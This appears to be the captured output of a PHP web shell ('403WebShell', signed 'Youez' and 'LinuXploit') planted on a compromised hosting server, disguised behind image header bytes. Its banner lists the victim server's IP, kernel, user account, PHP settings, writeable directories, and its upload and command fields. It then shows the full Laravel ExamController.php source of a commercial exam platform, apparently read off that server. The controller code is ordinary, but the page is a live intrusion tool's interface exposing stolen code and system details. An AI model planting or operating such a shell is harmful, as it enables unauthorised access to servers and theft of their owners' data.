����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.218.195.15
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.gltechlimited.com/app/Http/Controllers/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.gltechlimited.com/app/Http/Controllers/User/ExamController.php
<?php
/**
 * File name: ExamController.php
 * Last modified: 18/07/21, 12:11 AM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Http\Controllers\User;

use App\Http\Controllers\Controller;
use App\Http\Requests\Platform\ExamUpdateAnswerRequest;
use App\Models\Exam;
use App\Models\ExamSection;
use App\Models\ExamSession;
use App\Models\Question;
use App\Repositories\QuestionRepository;
use App\Repositories\UserExamRepository;
use App\Settings\LocalizationSettings;
use App\Settings\SiteSettings;
use App\Transformers\Admin\ExamScoreReportTransformer;
use App\Transformers\Platform\ExamDetailTransformer;
use App\Transformers\Platform\ExamQuestionTransformer;
use App\Transformers\Platform\ExamResultSectionTransformer;
use App\Transformers\Platform\ExamSessionSectionTransformer;
use App\Transformers\Platform\QuizSolutionTransformer;
use App\Transformers\Platform\TopScorerTransformer;
use Barryvdh\DomPDF\Facade as PDF;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Inertia\Inertia;

class ExamController extends Controller
{
    private UserExamRepository $repository;
    private QuestionRepository $questionRepository;

    public function __construct(UserExamRepository $repository, QuestionRepository $questionRepository)
    {
        $this->middleware(['role:guest|student|employee']);
        $this->repository = $repository;
        $this->questionRepository = $questionRepository;
    }

    /**
     * Load Exam Instructions Page
     *
     * @param $slug
     * @return \Inertia\Response
     */
    public function instructions($slug)
    {
        $exam = Exam::where('slug', $slug)
            ->published()
            ->isPublic()
            ->with(['subCategory:id,name', 'examType:id,name', 'examSections:id,exam_id,name,total_questions,total_duration,total_marks'])
            ->withCount(['sessions' => function ($query) {
                $query->where('user_id', auth()->user()->id)->where('status', '=', 'started');
            }])
            ->firstOrFail();

        return Inertia::render('User/ExamInstructions', [
            'exam' => fractal($exam, new ExamDetailTransformer())->toArray()['data'],
            'instructions' => $this->repository->getInstructions($exam),
            'subscription' => request()->user()->hasActiveSubscription($exam->sub_category_id, 'exams'),
        ]);
    }

    /**
     * Create or Load a Exam Session and redirect to exam screen
     *
     * @param Exam $exam
     * @return \Illuminate\Http\RedirectResponse
     */
    public function initExam(Exam $exam)
    {
        $subscription = request()->user()->hasActiveSubscription($exam->sub_category_id, 'exams');

        // load completed exam sessions
        $exam->loadCount(['sessions' => function ($query) {
            $query->where('user_id', auth()->user()->id)->where('status', 'completed');
        }]);

        // check if any uncompleted sessions
        if($exam->sessions()->where('user_id', auth()->user()->id)->where('status', '=', 'started')->count() > 0) {
            $session = $this->repository->getSession($exam);
        } else {
            // check restricted attempts
            if($exam->settings->get('restrict_attempts')) {
                if($exam->sessions_count >= $exam->settings->get('no_of_attempts')) {
                    return redirect()->back()->with('errorMessage', __('max_attempts_text'));
                }
            }

            if($exam->is_paid && !$subscription) {
                // check redeem eligibility
                if($exam->can_redeem) {
                    if(auth()->user()->balance < $exam->points_required) {
                        $msg = __('insufficient_points').' '.str_replace('--', auth()->user()->balance.' XP', __('wallet_balance_text')).' '.str_replace('--',$exam->points_required.' XP',__('required_points_are'));
                        return redirect()->back()->with('errorMessage', $msg);
                    }
                } else {
                    return redirect()->back()->with('errorMessage', __('You don\'t have an active plan to access this content. Please subscribe.'));
                }
            }

           $session = $this->repository->createSession($exam, $this->questionRepository);

            // deduct wallet points in case of not having a subscription for a paid exam
            if($session) {
                if($exam->is_paid && !$subscription && $exam->can_redeem) {
                    auth()->user()->withdraw($exam->points_required, [
                        'session' => $session->code,
                        'description' => 'Attempt of Exam ' . $exam->title,
                    ]);
                }
            }
        }

        return redirect()->route('go_to_exam', ['exam' => $exam->slug, 'session' => $session->code]);
    }

    /**
     * Go To Exam Screen
     *
     * @param Exam $exam
     * @param $session
     * @return \Illuminate\Http\RedirectResponse|\Inertia\Response
     */
    public function goToExam(Exam $exam, $session)
    {
        $session = ExamSession::with('sections', 'questions')->where('code', $session)->firstOrFail();

        $now = Carbon::now();

        $remainingTime =  $now->diffInSeconds($session->ends_at, false);

        if($session->status !== 'completed' && $remainingTime < 15) {
            $session->results = $this->repository->sessionResults($session, $exam);
            $session->status = 'completed';
            $session->completed_at = Carbon::now()->toDateTimeString();
            $session->update();

            return redirect()->route('exam_thank_you', ['exam' => $exam->slug, 'session' => $session->code]);
        }

        return Inertia::render('User/ExamScreen', [
            'exam' => $exam->only('code', 'title', 'slug', 'total_questions', 'settings'),
            'session' => $session,
            'examSections' => fractal($session->sections, new ExamSessionSectionTransformer())->toArray()['data'],
            'remainingTime' => $remainingTime
        ]);
    }

    /**
     * Get exam section questions api endpoint
     *
     * @param Exam $exam
     * @param $session
     * @param $section
     * @return \Illuminate\Http\JsonResponse
     */
    public function getExamSectionQuestions(Exam $exam, $session, $section)
    {
        $session = ExamSession::with(['questions', 'sections'])->where('code', $session)->firstOrFail();

        $now = Carbon::now();
        $examSection = $session->sections()->wherePivot('exam_section_id', $section)->first();
        $remainingTime =  $now->diffInSeconds($examSection->pivot->ends_at, false);

        $questions = fractal($session->questions()->with(['questionType:id,name,code', 'skill:id,name', 'comprehensionPassage:id,body'])
            ->withPivot('exam_section_id', 'sno')
            ->where('exam_section_id', $section)
            ->orderBy('sno')
            ->get(),
            new ExamQuestionTransformer())->toArray();

        return response()->json([
            'questions' => $questions['data'],
            'answered' => $session->questions()->wherePivot('exam_section_id', $section)->wherePivotIn('status', ['answered', 'answered_mark_for_review'])->count(),
            'remainingTime' => $remainingTime
        ], 200);
    }

    /**
     * Check the user submitted answer is correct or not and update session accordingly
     *
     * @param ExamUpdateAnswerRequest $request
     * @param Exam $exam
     * @param $session
     * @param $section
     * @return \Illuminate\Http\JsonResponse
     */
    public function updateAnswer(ExamUpdateAnswerRequest $request, Exam $exam, $session, ExamSection $section)
    {
        $session = ExamSession::select(['id', 'code', 'exam_id', 'total_time_taken', 'current_section'])
            ->where('code', $session)
            ->firstOrFail();

        if($session->status == 'completed') {
            return response()->json([
                'answered' => $session->questions()->wherePivotIn('status', ['answered', 'answered_mark_for_review'])->count()
            ], 200);
        }

        $question = Question::select(['id', 'question', 'options', 'correct_answer', 'default_marks', 'solution', 'question_type_id'])
            ->with(['questionType:id,name,code'])
            ->where('code', $request->question_id)
            ->firstOrFail();

        $isCorrect = false;
        $correctAnswer = null;
        $marksEarned = 0;
        $marksDeducted = 0;

        if($request->status === 'answered' || $request->status === 'answered_mark_for_review') {
            $isCorrect = $this->questionRepository->evaluateAnswer($question, $request->user_answer);

            // Calculate Positive & Negative Marks based on preferences
            $marks = $exam->settings->get('auto_grading', true) ? $question->default_marks : $section->correct_marks;
            if($isCorrect) {
                $marksEarned = $marks;
            } else {
                if($exam->settings->get('enable_negative_marking', false)) {
                    if($section->negative_marking_type == 'fixed') {
                        $marksDeducted = $section->negative_marks;
                    } else {
                        $marksDeducted = $section->negative_marks != 0 ? round(($marks * $section->negative_marks)  / 100, 2) : 0;
                    }
                }
            }
        }

        /*Insert or Update Session Question*/
        DB::table('exam_session_questions')->upsert([
            'question_id' => $question->id,
            'original_question' => formatQuestionProperty($question->question, $question->questionType->code),
            'exam_session_id' => $session->id,
            'exam_section_id' => $section->id,
            'user_answer' => serialize($request->user_answer),
            'time_taken' => $request->time_taken,
            'is_correct' => $isCorrect,
            'status' => $request->status,
            'marks_earned' => $marksEarned,
            'marks_deducted' => $marksDeducted
        ],
            ['question_id', 'exam_session_id', 'exam_section_id'],
            ['user_answer', 'time_taken', 'is_correct', 'status', 'marks_earned', 'marks_deducted']
        );

        /*Update Session */
        $session->current_section = $request->current_section;
        $session->current_question = $request->current_question;
        $session->total_time_taken = $request->total_time_taken;
        $session->update();

        DB::table('exam_session_sections')
            ->where('exam_section_id', $section->id)
            ->where('exam_session_id', $session->id)
            ->update([
                'current_question' => $request->current_question,
                'total_time_taken' => $request->current_section_total_time_taken,
                'status' => 'visited'
            ]);

        return response()->json([
            'answered' => $session->questions()->wherePivot('exam_section_id', $section->id)->wherePivotIn('status', ['answered', 'answered_mark_for_review'])->count()
        ], 200);
    }

    /**
     * Finish the exam
     *
     * @param Request $request
     * @param Exam $exam
     * @param $session
     * @return \Illuminate\Http\RedirectResponse
     */
    public function finish(Request $request, Exam $exam, $session)
    {
        $session = ExamSession::with(['questions', 'sections'])->where('code', $session)->firstOrFail();

        if($session->status == 'completed') {
            redirect()->route('exam_thank_you', ['exam' => $exam->slug, 'session' => $session->code]);
        }

        $session->total_time_taken = $request->get('total_time_taken');
        $session->status = 'completed';
        $session->completed_at = Carbon::now()->toDateTimeString();
        $session->update();

        foreach ($session->sections as $section) {
            $results = $this->repository->sectionResults($session, $exam, $section);
            DB::table('exam_session_sections')
                ->where('exam_section_id', $section->id)
                ->where('exam_session_id', $session->id)
                ->update([
                    'results' => $results,
                ]);
        }

        $session = ExamSession::with(['questions', 'sections'])->where('code', $session->code)->firstOrFail();

        $session->results = $this->repository->sessionResults($session, $exam);
        $session->update();

        return redirect()->route('exam_thank_you', ['exam' => $exam->slug, 'session' => $session->code]);
    }

    /**
     * Exam thank you screen
     *
     * @param Exam $exam
     * @param $session
     * @return \Inertia\Response
     */
    public function thankYou(Exam $exam, $session)
    {
        $session = ExamSession::where('code', $session)->firstOrFail();

        return Inertia::render('User/ExamThanksScreen', [
            'exam' => $exam->only('code', 'title', 'slug', 'total_marks'),
            'session' => $session,
        ]);
    }

    /**
     * Exam Session Analysis and Progress Status
     *
     * @param Exam $exam
     * @param $session
     * @return \Inertia\Response
     */
    public function results(Exam $exam, $session)
    {
        $session = ExamSession::where('code', $session)->firstOrFail();

        return Inertia::render('User/ExamResults', [
            'exam' => $exam->only('code', 'title', 'slug', 'total_questions', 'total_marks', 'settings'),
            'session' => $session->only('code', 'total_time_taken', 'results', 'status'),
            'sections' => fractal($session->sections, new ExamResultSectionTransformer())->toArray()['data'],
            'steps' => $this->repository->getExamProgressLinks($exam->slug, $session->code, 'exam_results', $exam->settings->get('show_leaderboard', true)),
        ]);
    }

    /**
     * Exam session solutions page
     *
     * @param Exam $exam
     * @param $session
     * @return \Inertia\Response
     */
    public function solutions(Exam $exam, $session)
    {
        $session = ExamSession::with(['sections' => function($query) {
            $query->orderBy('exam_session_sections.sno');
        }])->where('code', $session)->firstOrFail();

        return Inertia::render('User/ExamSolutions', [
            'exam' => $exam->only('code', 'title', 'slug', 'total_questions', 'total_marks', 'settings'),
            'sections' => fractal($session->sections, new ExamResultSectionTransformer())->toArray()['data'],
            'session' => $session->only('code', 'total_time_taken', 'results', 'status'),
            'steps' => $this->repository->getExamProgressLinks($exam->slug, $session->code, 'exam_solutions', $exam->settings->get('show_leaderboard', true)),
        ]);
    }

    /**
     * Get exam solutions api endpoint
     *
     * @param Exam $exam
     * @param $session
     * @param $section
     * @return \Illuminate\Http\JsonResponse
     */
    public function fetchSolutions(Exam $exam, $session, $section)
    {
        $session = ExamSession::where('code', $session)->firstOrFail();

        $questions = fractal($session->questions()->wherePivot('exam_section_id', $section)->with(['questionType:id,name,code', 'skill:id,name'])
            ->orderBy('sno')->get(['id','code', 'question', 'question_type_id', 'skill_id', 'solution', 'solution_video']),
            new QuizSolutionTransformer())->toArray();

        return response()->json([
            'questions' => $questions['data'],
        ], 200);
    }

    /**
     * Exam Session Leaderboard
     *
     * @param Exam $exam
     * @param $session
     * @return \Illuminate\Http\RedirectResponse|\Inertia\Response
     */
    public function leaderboard(Exam $exam, $session)
    {
        if(!$exam->settings->get('show_leaderboard', true)) {
            return redirect()->back()->with('errorMessage', __('You are not allowed to see the leaderboard of this exam.'));
        }

        $session = ExamSession::where('code', $session)->firstOrFail();

        $key = $session->exam_schedule_id ? 'exam_schedule_id' : 'exam_id';
        $value = $session->exam_schedule_id ? $session->exam_schedule_id : $exam->id;

        $topScorers = ExamSession::select('user_id', 'exam_id')
            ->with('user:id,first_name,last_name')
            ->selectRaw("max(CAST(JSON_EXTRACT(`results`, \"$.score\") AS DECIMAL(10,6))) as high_score")
            ->selectRaw("max(CAST(JSON_EXTRACT(`results`, \"$.percentage\") AS DECIMAL(10,6))) as high_percentage")
            ->where($key, $value)
            ->groupBy('user_id', 'exam_id')
            ->orderBy('high_score', 'desc')
            ->get();

        return Inertia::render('User/ExamLeaderBoard', [
            'exam' => $exam->only('code', 'title', 'slug', 'total_questions', 'total_marks', 'settings'),
            'session' => $session->only('code', 'total_time_taken', 'results', 'status'),
            'topScorers' => fractal($topScorers, new TopScorerTransformer())->toArray()['data'],
            'steps' => $this->repository->getExamProgressLinks($exam->slug, $session->code, 'exam_leaderboard'),
        ]);
    }

    /**
     * User Exam Session Export PDF
     *
     * @param Exam $exam
     * @param $session
     * @param LocalizationSettings $localization
     * @param SiteSettings $settings
     * @return \Illuminate\Http\Response
     */
    public function exportPDF(Exam $exam, $session, LocalizationSettings $localization, SiteSettings $settings)
    {
        $session = ExamSession::with('user')->where('code', $session)->firstOrFail();

        $now = Carbon::now()->timezone($localization->default_timezone);
        $user = auth()->user()->first_name.' '.auth()->user()->last_name;

        $pdf = PDF::loadView('pdf.exam-session-report', [
            'exam' => $exam->only('code', 'title'),
            'session' => fractal($session, new ExamScoreReportTransformer())->toArray()['data'],
            'footer' => "* Report Generated from {$settings->app_name} by {$user} on {$now->toDayDateTimeString()}",
            'logo' => url('storage/'.$settings->logo_path),
            'rtl' => $localization->default_direction == 'rtl'
        ]);

        return $pdf->download("report-{$session->code}.pdf");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit